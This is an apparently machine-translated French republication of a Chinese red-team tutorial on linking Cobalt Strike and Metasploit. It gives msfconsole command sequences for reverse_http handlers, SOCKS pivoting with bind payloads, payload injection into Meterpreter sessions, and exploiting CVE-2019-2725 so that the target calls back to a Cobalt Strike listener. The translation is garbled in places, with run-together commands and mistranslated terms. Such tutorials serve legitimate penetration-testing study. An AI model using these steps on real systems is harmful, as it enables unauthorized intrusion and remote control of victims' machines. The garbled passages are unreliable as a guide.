Maison > Opération et maintenance > Sécurité > Exemple d'analyse du lien entre CobaltStrike et Metasploit

Exemple d'analyse du lien entre CobaltStrike et Metasploit

WBOY
Libérer: 2023-05-15 18:58:11
avant
1173 Les gens l'ont consulté

Recherchez Ms08067

Personnellement, je pense que l'interface graphique et les fonctions riches de CobaltStrike constituent un cadre de post-exploitation super puissant, particulièrement pratique pour gérer diverses données et obus collectés lors d'un mouvement latéral, mais pour l'exploitation des vulnérabilités et la percée initiale sont très faible ; d'un autre côté, Metasploit, en tant que framework d'exploitation des vulnérabilités, EXP est extrêmement fluide et dispose de divers modules, y compris des services à guichet unique d'analyse, de percée et d'expansion, mais la gestion de plusieurs shells est un peu difficile. fatigué (après tout, il n'y a pas d'interface graphique et il y a trop de commandes à retenir). Par conséquent, comment relier efficacement les deux cadres est devenu la connaissance que je souhaite apprendre aujourd'hui.

1. Utilisez CS pour servir MSF

Utilisez la balise de CS pour dériver un shell permettant à MSF d'effectuer des tâches de pénétration ultérieures :

Configurez la surveillance dans MSF

# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz
Copier après la connexion

Établissez un auditeur externe HTTP étranger dans CS (ou HTTPS étranger)

Exemple danalyse du lien entre CobaltStrike et Metasploit

Sélectionnez la cible que vous souhaitez générer, faites un clic droit et sélectionnez la fonction d'apparition, sélectionnez l'écouteur que vous venez de créer et vous pourrez recevoir la connexion dans MSF.

Utilisez CS pour fournir des fonctions de transfert ou de proxy à MSF pour une détection ultérieure et une exploitation des vulnérabilités :

Utilisez Beacon pour établir un proxy chaussettes :

Entrez le port d'écoute chaussettes dans Beacon ou faites un clic droit sur la cible souhaitée pour transférer, dans Select SOCKS Server en pivoting, configurez le port d'écoute et cliquez sur
lancer pour l'activer.

Exemple danalyse du lien entre CobaltStrike et Metasploit

Vous pouvez voir le redirecteur établi dans la vue -> Proxy Pivots. Cliquez sur Tunnel pour obtenir la commande de transfert MSF Exemple danalyse du lien entre CobaltStrike et Metasploit

Copiez-la sur MSF, définissez le proxy et le type de charge utile

sur CVE-2019-2725. une machine cible de test

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run
Copier après la connexion

Exemple danalyse du lien entre CobaltStrike et Metasploit

Deuxièmement, MSF sert CS

Il utilise principalement l'EXP du framework MSF pour obtenir le Beacon de CS

obtient un Shell d'exécution de commande :

C'est le plus simple La situation, et c'est la situation la plus courante, est que toute l'EXP ne peut pas être récupérée lors d'une session Meterpreter.

Utilisez Attacks -> Web Drive-by -> Scripted Web Delivery dans CS pour déployer un site de distribution de charge utile :

Configurez l'écouteur et le chemin de l'URL, et l'invite de commande correspondante apparaîtra après le démarrage
Exemple danalyse du lien entre CobaltStrike et Metasploit

Copier la commande Après cela, vous pouvez l'exécuter directement dans le shell MSF

Exemple danalyse du lien entre CobaltStrike et Metasploit

Une fois la commande exécutée, la session MSF sera bloquée et pourra être tuée directement sans affecter la session CS

Obtenir une session Meterpreter :

Après avoir obtenu la session Meterpreter, en utilisant la fonction d'injection MSF pour charger la charge utile Cs

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true 
msf> run
Copier après la connexion

Exemple danalyse du lien entre CobaltStrike et Metasploit

, nous avons découvert au cours du processus que cette méthode ne peut injecter qu'une charge utile de 32 bits. L'injection d'une charge utile de 64 bits entraînera la cible. Le processus plante et ne peut pas être injecté dans un programme 64 bits. La cause du crash est : APPCRASH (module défectueux StackHash_af76) Même si vous obtenez les autorisations système et désactivez l'UAC, cela ne fonctionne toujours pas. Si vous ne définissez pas le pid, un processus notepad.exe 32 bits sera créé. Après une connexion réussie, n'oubliez pas de migrer le processus de session CS à temps.

Rebondir directement sur CS :

Demander et charger directement la charge utile CS lors de l'exploitation de la vulnérabilité MSF, qui est fondamentalement la même que la deuxième méthode (la vulnérabilité de test est CVE-2019-2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http 
# 设置回连地址(CS监听器地址) 
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true
Copier après la connexion

Exemple danalyse du lien entre CobaltStrike et Metasploit

Exemple danalyse du lien entre CobaltStrike et Metasploit

En fait, c'est la même chose que la deuxième opération. Il s'agit simplement d'appeler le module MSF et de configurer les paramètres de charge utile. Une fois la vulnérabilité exploitée avec succès, vous pouvez revenir directement à la session CS via PowerShell sans fenêtre
, et aucune fenêtre n'apparaîtra sur l'hôte cible. La charge utile 64 bits n'a pas pu être chargée pendant les tests. Cela peut être dû au fait qu'après avoir exploité cette vulnérabilité, un cmd.exe 32 bits sera lancé pour exécuter les commandes suivantes.

三、

一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,

dns smb tcp
Copier après la connexion

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe 
windows/meterpreter/reverse_tcp
Copier après la connexion

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal